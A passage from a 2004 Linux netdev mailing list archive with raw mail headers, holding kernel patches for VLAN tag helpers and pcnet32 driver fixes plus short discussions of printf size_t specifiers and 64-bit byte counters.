2004 07:27:24 -0800 (PST) Received: from pentafluge.infradead.org (pentafluge.infradead.org [213.86.99.235]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JFRJKO012890 for ; Thu, 19 Feb 2004 07:27:20 -0800 Received: from [213.86.99.237] (helo=[172.16.18.64]) by pentafluge.infradead.org with asmtp (Exim 4.30 #5 (Red Hat Linux)) id 1Atq58-0003Mx-Jr; Thu, 19 Feb 2004 15:27:18 +0000 Subject: Re: [APPLETALK]: Use '%Z' for size_t. From: David Woodhouse To: davem@redhat.com Cc: netdev@oss.sgi.com In-Reply-To: <200402190209.i1J29KF2020707@hera.kernel.org> References: <200402190209.i1J29KF2020707@hera.kernel.org> Content-Type: text/plain Message-Id: <1077204436.18703.412.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-8.dwmw2.2) Date: Thu, 19 Feb 2004 15:27:17 +0000 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-archive-position: 3402 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Wed, 2004-02-18 at 21:11 +0000, Linux Kernel Mailing List wrote: > ChangeSet 1.1561.2.2, 2004/02/18 13:11:42-08:00, davem@nuts.davemloft.net > > [APPLETALK]: Use '%Z' for size_t. %Zd is an ancient GNUism. Please use %zd in new code instead. -- dwmw2 From shmulik.hen@intel.com Thu Feb 19 07:50:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 07:51:05 -0800 (PST) Received: from fmsfmr003.fm.intel.com ([192.55.52.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JFoqKO013546 for ; Thu, 19 Feb 2004 07:50:52 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by fmsfmr003.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1JA9vln008544; Thu, 19 Feb 2004 10:09:57 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1JACJkh012162; Thu, 19 Feb 2004 10:12:19 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004021902121320149 ; Thu, 19 Feb 2004 02:12:15 -0800 From: Shmuel Hen Organization: Intel Corporation To: "David S. Miller" , "Jeff Garzik" Subject: [PATCH 1/2] [8021q 2.4] Export VLAN tag get/set functionality Date: Thu, 19 Feb 2004 12:12:11 +0200 User-Agent: KMail/1.5.3 Cc: "linux-netdev" , "bonding-devel" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402191212.12958.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3403 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Now, that 2.4.25 is out, I'm resending the enhancements for VLAN over bonding. Tested for patch application and compilation against linux-2.4.25. Summary: Enable intermediate network drivers like bonding to get or set a VLAN tag in an skb without a need to know about how tagging is done according to a network adapter's capabilities. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/include/linux/if_vlan.h b/include/linux/if_vlan.h --- a/include/linux/if_vlan.h Wed Jan 21 16:54:57 2004 +++ b/include/linux/if_vlan.h Wed Jan 21 16:54:59 2004 @@ -200,6 +200,148 @@ static inline int vlan_hwaccel_receive_s { return __vlan_hwaccel_rx(skb, grp, vlan_tag, 1); } + +/** + * __vlan_put_tag - regular VLAN tag inserting + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Inserts the VLAN tag into @skb as part of the payload + * Returns a VLAN tagged skb. If a new skb is created, @skb is freed. + * + * Following the skb_unshare() example, in case of error, the calling function + * doesn't have to worry about freeing the original skb. + */ +static inline struct sk_buff *__vlan_put_tag(struct sk_buff *skb, unsigned short tag) +{ + struct vlan_ethhdr *veth; + + if (skb_headroom(skb) < VLAN_HLEN) { + struct sk_buff *sk_tmp = skb; + skb = skb_realloc_headroom(sk_tmp, VLAN_HLEN); + kfree_skb(sk_tmp); + if (!skb) { + printk(KERN_ERR "vlan: failed to realloc headroom\n"); + return NULL; + } + } else { + skb = skb_unshare(skb, GFP_ATOMIC); + if (!skb) { + printk(KERN_ERR "vlan: failed to unshare skbuff\n"); + return NULL; + } + } + + veth = (struct vlan_ethhdr *)skb_push(skb, VLAN_HLEN); + + /* Move the mac addresses to the beginning of the new header. */ + memmove(skb->data, skb->data + VLAN_HLEN, 2 * VLAN_ETH_ALEN); + + /* first, the ethernet type */ + veth->h_vlan_proto = __constant_htons(ETH_P_8021Q); + + /* now, the tag */ + veth->h_vlan_TCI = htons(tag); + + return skb; +} + +/** + * __vlan_hwaccel_put_tag - hardware accelerated VLAN inserting + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Puts the VLAN tag in @skb->cb[] and lets the device do the rest + */ +static inline struct sk_buff *__vlan_hwaccel_put_tag(struct sk_buff *skb, unsigned short tag) +{ + struct vlan_skb_tx_cookie *cookie; + + cookie = VLAN_TX_SKB_CB(skb); + cookie->magic = VLAN_TX_COOKIE_MAGIC; + cookie->vlan_tag = tag; + + return skb; +} + +#define HAVE_VLAN_PUT_TAG + +/** + * vlan_put_tag - inserts VLAN tag according to device features + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Assumes skb->dev is the target that will xmit this frame. + * Returns a VLAN tagged skb. + */ +static inline struct sk_buff *vlan_put_tag(struct sk_buff *skb, unsigned short tag) +{ + if (skb->dev->features & NETIF_F_HW_VLAN_TX) { + return __vlan_hwaccel_put_tag(skb, tag); + } else { + return __vlan_put_tag(skb, tag); + } +} + +/** + * __vlan_get_tag - get the VLAN ID that is part of the payload + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if the skb is not of VLAN type + */ +static inline int __vlan_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + struct vlan_ethhdr *veth = (struct vlan_ethhdr *)skb->data; + + if (veth->h_vlan_proto != __constant_htons(ETH_P_8021Q)) { + return -EINVAL; + } + + *tag = ntohs(veth->h_vlan_TCI); + + return 0; +} + +/** + * __vlan_hwaccel_get_tag - get the VLAN ID that is in @skb->cb[] + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if @skb->cb[] is not set correctly + */ +static inline int __vlan_hwaccel_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + struct vlan_skb_tx_cookie *cookie; + + cookie = VLAN_TX_SKB_CB(skb); + if (cookie->magic == VLAN_TX_COOKIE_MAGIC) { + *tag = cookie->vlan_tag; + return 0; + } else { + *tag = 0; + return -EINVAL; + } +} + +#define HAVE_VLAN_GET_TAG + +/** + * vlan_get_tag - get the VLAN ID from the skb + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if the skb is not VLAN tagged + */ +static inline int vlan_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + if (skb->dev->features & NETIF_F_HW_VLAN_TX) { + return __vlan_hwaccel_get_tag(skb, tag); + } else { + return __vlan_get_tag(skb, tag); + } +} + #endif /* __KERNEL__ */ /* VLAN IOCTLs are found in sockios.h */ From brazilnut@us.ibm.com Thu Feb 19 08:47:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 08:47:47 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JGlbKO017714 for ; Thu, 19 Feb 2004 08:47:43 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1JGlRFD509524; Thu, 19 Feb 2004 11:47:27 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1JGlOGE078462; Thu, 19 Feb 2004 09:47:25 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1JGkcf04984; Thu, 19 Feb 2004 08:46:38 -0800 From: Don Fry Message-Id: <200402191646.i1JGkcf04984@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.4.25 pcnet32.c SLAB_DEBUG length error fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 19 Feb 2004 08:46:38 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3404 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev The pcnet32 driver uses the incorrect length (of zero) in pci_[un]map_single for receive buffers. This is seen with SLAB_DEBUG enabled. --- linux-2.4.25/drivers/net/orig.pcnet32.c Fri Nov 28 10:26:20 2003 +++ linux-2.4.25/drivers/net/pcnet32.c Thu Feb 19 08:35:21 2004 @@ -976,9 +976,10 @@ } if (lp->rx_dma_addr[i] == 0) - lp->rx_dma_addr[i] = pci_map_single(lp->pci_dev, rx_skbuff->tail, rx_skbuff->len, PCI_DMA_FROMDEVICE); + lp->rx_dma_addr[i] = pci_map_single(lp->pci_dev, + rx_skbuff->tail, PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); lp->rx_ring[i].base = (u32)le32_to_cpu(lp->rx_dma_addr[i]); - lp->rx_ring[i].buf_length = le16_to_cpu(-PKT_BUF_SZ); + lp->rx_ring[i].buf_length = le16_to_cpu(2-PKT_BUF_SZ); lp->rx_ring[i].status = le16_to_cpu(0x8000); } /* The Tx buffer address is filled in as needed, but we do need to clear @@ -1312,13 +1313,14 @@ if ((newskb = dev_alloc_skb (PKT_BUF_SZ))) { skb_reserve (newskb, 2); skb = lp->rx_skbuff[entry]; - pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[entry], skb->len, PCI_DMA_FROMDEVICE); + pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[entry], + PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); skb_put (skb, pkt_len); lp->rx_skbuff[entry] = newskb; newskb->dev = dev; lp->rx_dma_addr[entry] = pci_map_single(lp->pci_dev, newskb->tail, - newskb->len, PCI_DMA_FROMDEVICE); + PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); lp->rx_ring[entry].base = le32_to_cpu(lp->rx_dma_addr[entry]); rx_in_place = 1; } else @@ -1347,7 +1349,7 @@ skb_put(skb,pkt_len); /* Make room */ pci_dma_sync_single(lp->pci_dev, lp->rx_dma_addr[entry], - PKT_BUF_SZ, + PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); eth_copy_and_sum(skb, (unsigned char *)(lp->rx_skbuff[entry]->tail), @@ -1364,7 +1366,7 @@ * The docs say that the buffer length isn't touched, but Andrew Boyd * of QNX reports that some revs of the 79C965 clear it. */ - lp->rx_ring[entry].buf_length = le16_to_cpu(-PKT_BUF_SZ); + lp->rx_ring[entry].buf_length = le16_to_cpu(2-PKT_BUF_SZ); lp->rx_ring[entry].status |= le16_to_cpu(0x8000); entry = (++lp->cur_rx) & RX_RING_MOD_MASK; } @@ -1402,7 +1404,8 @@ for (i = 0; i < RX_RING_SIZE; i++) { lp->rx_ring[i].status = 0; if (lp->rx_skbuff[i]) { - pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], lp->rx_skbuff[i]->len, PCI_DMA_FROMDEVICE); + pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], PKT_BUF_SZ-2, + PCI_DMA_FROMDEVICE); dev_kfree_skb(lp->rx_skbuff[i]); } lp->rx_skbuff[i] = NULL; -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Thu Feb 19 08:53:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 08:53:40 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JGrZKO018101 for ; Thu, 19 Feb 2004 08:53:35 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1JGrSvC472396; Thu, 19 Feb 2004 11:53:28 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1JGrQGE088424; Thu, 19 Feb 2004 09:53:26 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1JGqei05003; Thu, 19 Feb 2004 08:52:40 -0800 From: Don Fry Message-Id: <200402191652.i1JGqei05003@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.4.25 pcnet32.c transmit hang fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 19 Feb 2004 08:52:40 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3405 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev The transmit routine will stop interrupting and hang, causing the tx_timeout routine to attempt to restart the device when the 32-bit cur_tx counter wraps below dirty_tx. If the device had called netif_stop_queue it will never call netif_wake_queue in the interrupt routine (at least on an IA32 system) due to 32-bit wrap around arithmetic. On my IA32 system 'dirty_tx > lp->cur_tx - TX_RING_SIZE + 2' would always evaluate to false when dirty and cur_tx were less than 15, preventing netif_wake_queue to be called. By starting dirty_tx and cur_tx at 0xfffffff0 (to reduce test time) I found that once cur_tx wrapped to zero, that transmitted buffers would never be unmapped or freed because 'while (dirty_tx < lp->cur_tx) {' was not true. cur_tx would keep incrementing (in start_xmit) but dirty_tx would not (in pcnet32_interrupt), thus leaking skb's and pci map entries. On PPC machines, the system would quickly run out of pci maps. --- linux-2.4.25/drivers/net/slab.pcnet32.c Thu Feb 19 08:44:52 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Thu Feb 19 08:45:17 2004 @@ -1050,7 +1050,7 @@ pcnet32_restart(dev, 0x0042); dev->trans_start = jiffies; - netif_start_queue(dev); + netif_wake_queue(dev); spin_unlock_irqrestore(&lp->lock, flags); } @@ -1076,9 +1076,10 @@ * interrupt when that option is available to us. */ status = 0x8300; + entry = (lp->cur_tx - lp->dirty_tx) & TX_RING_MOD_MASK; if ((lp->ltint) && - ((lp->cur_tx - lp->dirty_tx == TX_RING_SIZE/2) || - (lp->cur_tx - lp->dirty_tx >= TX_RING_SIZE-2))) + ((entry == TX_RING_SIZE/2) || + (entry >= TX_RING_SIZE-2))) { /* Enable Successful-TxDone interrupt if we have * 1/2 of, or nearly all of, our ring buffer Tx'd @@ -1093,7 +1094,7 @@ /* Mask to ring buffer boundary. */ entry = lp->cur_tx & TX_RING_MOD_MASK; - /* Caution: the write order is important here, set the base address + /* Caution: the write order is important here, set the status with the "ownership" bits last. */ lp->tx_ring[entry].length = le16_to_cpu(-skb->len); @@ -1115,7 +1116,7 @@ dev->trans_start = jiffies; if (lp->tx_ring[(entry+1) & TX_RING_MOD_MASK].base == 0) - netif_start_queue(dev); + netif_wake_queue(dev); else { lp->tx_full = 1; netif_stop_queue(dev); @@ -1162,8 +1163,9 @@ if (csr0 & 0x0200) { /* Tx-done interrupt */ unsigned int dirty_tx = lp->dirty_tx; + int delta; - while (dirty_tx < lp->cur_tx) { + while (dirty_tx != lp->cur_tx) { int entry = dirty_tx & TX_RING_MOD_MASK; int status = (short)le16_to_cpu(lp->tx_ring[entry].status); @@ -1217,15 +1219,17 @@ dirty_tx++; } - if (lp->cur_tx - dirty_tx >= TX_RING_SIZE) { + delta = (lp->cur_tx - dirty_tx) & (TX_RING_MOD_MASK + TX_RING_SIZE); + if (delta >= TX_RING_SIZE) { printk(KERN_ERR "%s: out-of-sync dirty pointer, %d vs. %d, full=%d.\n", dev->name, dirty_tx, lp->cur_tx, lp->tx_full); dirty_tx += TX_RING_SIZE; + delta -= TX_RING_SIZE; } if (lp->tx_full && netif_queue_stopped(dev) && - dirty_tx > lp->cur_tx - TX_RING_SIZE + 2) { + delta < TX_RING_SIZE - 2) { /* The ring is no longer full, clear tbusy. */ lp->tx_full = 0; netif_wake_queue (dev); -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Thu Feb 19 09:15:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 09:15:57 -0800 (PST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JHFkKO018668 for ; Thu, 19 Feb 2004 09:15:53 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1JHFbnD731860; Thu, 19 Feb 2004 12:15:37 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1JHFeJk046424; Thu, 19 Feb 2004 12:15:41 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1JHEnu05047; Thu, 19 Feb 2004 09:14:49 -0800 From: Don Fry Message-Id: <200402191714.i1JHEnu05047@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.6.3 pcnet32.c wrong vendor ID fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 19 Feb 2004 09:14:49 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3406 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch was originally sent by Jon Mason on Sat Jan 31. "I created a patch that allows pcnet32 adapters sold in IBM RS/6000 systems to be recognized in non-ppc computers. The problem is that the Vendor ID of this adapter is incorrect. There is a ppc specific workaround to get it working on that architecture (checkout http://lxr.linux.no/source/arch/ppc/kernel/pci.c?a=ppc#L87 for the workaround), but it obviously won't fix the problem in non-ppc architectures." --- linux-2.6.3/drivers/net/hang.pcnet32.c Thu Feb 19 08:58:32 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Thu Feb 19 08:59:26 2004 @@ -58,6 +58,12 @@ static struct pci_device_id pcnet32_pci_tbl[] = { { PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_LANCE_HOME, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0 }, { PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_LANCE, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0 }, + /* + * Adapters that were sold with IBM's RS/6000 or pSeries hardware have + * the incorrect vendor id. + */ + { PCI_VENDOR_ID_TRIDENT, PCI_DEVICE_ID_AMD_LANCE, PCI_ANY_ID, PCI_ANY_ID, + PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, 0 }, { 0, } }; -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Thu Feb 19 09:16:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 09:16:40 -0800 (PST) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JHGZKO018834 for ; Thu, 19 Feb 2004 09:16:35 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e4.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1JHGSG9784024; Thu, 19 Feb 2004 12:16:28 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1JHGWJk109440; Thu, 19 Feb 2004 12:16:32 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1JHFfZ05059; Thu, 19 Feb 2004 09:15:41 -0800 From: Don Fry Message-Id: <200402191715.i1JHFfZ05059@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.4.25 pcnet32.c wrong vendor ID fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 19 Feb 2004 09:15:41 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3407 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch was originally sent by Jon Mason on Sat Jan 31. "I created a patch that allows pcnet32 adapters sold in IBM RS/6000 systems to be recognized in non-ppc computers. The problem is that the Vendor ID of this adapter is incorrect. There is a ppc specific workaround to get it working on that architecture (checkout http://lxr.linux.no/source/arch/ppc/kernel/pci.c?a=ppc#L87 for the workaround), but it obviously won't fix the problem in non-ppc architectures." --- linux-2.4.25/drivers/net/hang.pcnet32.c Thu Feb 19 08:51:34 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Thu Feb 19 08:54:43 2004 @@ -61,6 +61,12 @@ static struct pci_device_id pcnet32_pci_tbl[] __devinitdata = { { PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_LANCE_HOME, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0 }, { PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_LANCE, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0 }, + /* + * Adapters that were sold with IBM's RS/6000 or pSeries hardware have + * the incorrect vendor id. + */ + { PCI_VENDOR_ID_TRIDENT, PCI_DEVICE_ID_AMD_LANCE, PCI_ANY_ID, PCI_ANY_ID, + PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, 0 }, { 0, } }; -- Don Fry brazilnut@us.ibm.com From shemminger@osdl.org Thu Feb 19 09:27:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 09:27:17 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JHRDKO019524 for ; Thu, 19 Feb 2004 09:27:14 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1JHR8E20409; Thu, 19 Feb 2004 09:27:08 -0800 Date: Thu, 19 Feb 2004 09:27:08 -0800 From: Stephen Hemminger To: netdev@oss.sgi.com Cc: mroos@linux.ee, linux-kernel@vger.kernel.org Subject: Re: [NET] 64 bit byte counter for 2.6.3 Message-Id: <20040219092708.1935e684@dell_ss3.pdx.osdl.net> In-Reply-To: References: <20040218101711.25dda791@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3408 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Thu, 19 Feb 2004 10:14:55 +0200 Meelis Roos wrote: > SH> * Network changes gets discussed on netdev@oss.sgi.com > SH> * 64 bit values are not atomic on 32 bit architectures > > Agree. > > SH> * wider values in /proc output risks breaking apps like ifconfig and netstat > > This is probably not a problem here, ifconfig etc have been working fine > with non-wrapping numbers on sparc64 and other 64-bit machines. Looking at current net-tools source, they are doing sscanf into a long-long-unsigned value already. From davem@redhat.com Thu Feb 19 10:09:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 10:09:23 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JI9JKO020437 for ; Thu, 19 Feb 2004 10:09:20 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1JI9Fb31339; Thu, 19 Feb 2004 13:09:15 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1JI9Fi21973; Thu, 19 Feb 2004 13:09:15 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1JI9BkC028479; Thu, 19 Feb 2004 13:09:11 -0500 Date: Thu, 19 Feb 2004 10:09:14 -0800 From: "David S. Miller" To: David Woodhouse Cc: netdev@oss.sgi.com Subject: Re: [APPLETALK]: Use '%Z' for size_t. Message-Id: <20040219100914.1a17e797.davem@redhat.com> In-Reply-To: <1077204436.18703.412.camel@hades.cambridge.redhat.com> References: <200402190209.i1J29KF2020707@hera.kernel.org> <1077204436.18703.412.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3409 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 19 Feb 2004 15:27:17 +0000 David Woodhouse wrote: > On Wed, 2004-02-18 at 21:11 +0000, Linux Kernel Mailing List wrote: > > ChangeSet 1.1561.2.2, 2004/02/18 13:11:42-08:00, davem@nuts.davemloft.net > > > > [APPLETALK]: Use '%Z' for size_t. > > %Zd is an ancient GNUism. Please use %zd in new code instead. As long as lib/vsprintf.c in the kernel supports it, there is no reason not to use it. They're never going to remove recognition of this thing from gcc printf's parsing. If it really bothers you, then go sick a kernel janitor onto it, because there are thousands of uses of %Z, I know because I put most of them into the tree :-) From davem@redhat.com Thu Feb 19 10:17:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 10:17:55 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JIHpKO020849 for ; Thu, 19 Feb 2004 10:17:51 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1JIHYb02470; Thu, 19 Feb 2004 13:17:34 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1JIHYi25240; Thu, 19 Feb 2004 13:17:34 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1JIHUkC000951; Thu, 19 Feb 2004 13:17:31 -0500 Date: Thu, 19 Feb 2004 10:17:33 -0800 From: "David S. Miller" To: Shmuel Hen Cc: jgarzik@pobox.com, netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: Re: [PATCH] [NET 2.4] split arp_send into arp_create and arp_xmit Message-Id: <20040219101733.03140b8f.davem@redhat.com> In-Reply-To: <200402191211.07879.shmulik.hen@intel.com> References: <200402191211.07879.shmulik.hen@intel.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3410 X-ecartis-version: 